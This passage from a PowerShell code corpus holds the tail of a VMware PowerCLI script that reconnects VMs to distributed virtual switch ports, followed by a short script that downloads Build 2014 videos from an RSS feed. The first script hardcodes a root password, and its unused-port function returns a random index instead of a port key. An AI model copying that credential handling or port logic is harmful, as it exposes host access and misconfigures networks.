VMotion $vmname to another host" } } function Check-DvsIssue { Param( [object] $VmView, [object] $VMHost, [string] $User, [string] $Password ); $netdev = ($VmView.Config.Hardware.Device | Where {$_.MacAddress}) $PortId = $netdev.Backing.Port.PortKey; $hostdvports = New-Object System.Collections.ArrayList $hostdvports.Clear(); $viserver = Connect-VIServer -Server $VMHost -User $User -Password $Password (Get-View -Id (Get-VirtualSwitch -Server $viserver).Id).FetchDVPorts($null)| % { $hostdvports.Add($_.Key); } Disconnect-VIServer -Server $viserver -Confirm:$false | Out-Null return $hostdvports.Contains($PortId); } function Get-UnusedPort { Param( [string] $DvsName, [string] $PortGroupName ); $emptyports = New-Object System.Collections.ArrayList $emptyports.Clear(); Write-Host -ForegroundColor Green "Getting Available Port Ids" $pgkey = (Get-VirtualPortGroup -Name $PortGroupName).Key $vsid = (Get-VirtualSwitch -Name $DvsName).Id $dvs = Get-View -Id $vsid $dvports = $dvs.FetchDVPorts($null); Write-Host -ForegroundColor Green "Adding to Array" $dvports | % { if( $_.portgroupKey -eq $pgkey ) { if( $_.connectee -eq $null ) { $emptyports.Add($_.key) | Out-Null; } } } $emptyports.Sort(); $location = Get-Random -Minimum 0 -Maximum ($emptyports.Count - 1) if( $emptyports.Count -gt 0 ) { return $location } else { return -1; } } function Set-FixDvsBug { Param( [string] $DvsName, [string] $PortGroupName, [object] $VM ); Set-PowerCLIConfiguration -DefaultVIServerMode multiple -Confirm:$false | out-Null $i = 0; $vms = @(); if($VM -eq $null ) { Write-Host -ForegroundColor Green "Getting VMs" $vms = get-vm } else { $vms += $VM } $vms | % { Write-Progress -activity "Checking Virtual Machines" -status "Percent: " -percentComplete (($i / $vms.length) * 100) $na = $_ | Get-NetworkAdapter; if( $_.PowerState -eq "PoweredOn" ) { if( !$na.ConnectionState.Connected ) { Write-Host -ForegroundColor red "Virtual Machine $_ is not connected to the port group" $na | Set-NetworkAdapter -Connected:$true -Confirm:$false -ErrorAction SilentlyContinue | Out-Null if(!$?) { $vm = Get-View -Id $_.Id -Property Name,Summary,Config.Hardware.Device if(!(Check-DvsIssue -VmView $vm -VMHost $_.Host -User root -Password Phx@dm1n ) ) { Write-Host -ForegroundColor red "Set-NetworkAdapter -Connected:`$true failed, changing port id on $_"; $newportid = Get-UnusedPort -DvsName $DvsName -PortGroupName $PortGroupName; if($newportid -gt 0 ){ Write-Host "Using Port Id: $newportid"; Set-PortIdAdvanced -VmView $vm -PortId $newportid } } } } } $i++; } Set-PowerCLIConfiguration -DefaultVIServerMode single -Confirm:$false | Out-Null } Set-FixDvsBug -DvsName "foo" -PortGroupName "foo-pg";
PowerShellCorpus/GithubGist/paully21_9993683_raw_6cf7fb694e80d2bdb880c4650d1f1d5b197e221f_downloadBuild2014Videos.ps1
paully21_9993683_raw_6cf7fb694e80d2bdb880c4650d1f1d5b197e221f_downloadBuild2014Videos.ps1
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath $rss = (new-object net.webclient) $a = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/Build/2014/RSS/mp4high")) $a.rss.channel.item | foreach{ $url = New-Object System.Uri($_.enclosure.url) $file = $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-") + "-" + $_.creator + ".mp4" if (!(test-path $file)) { $file $wc = (New-Object System.Net.WebClient) $wc.DownloadFile($url, $file) } }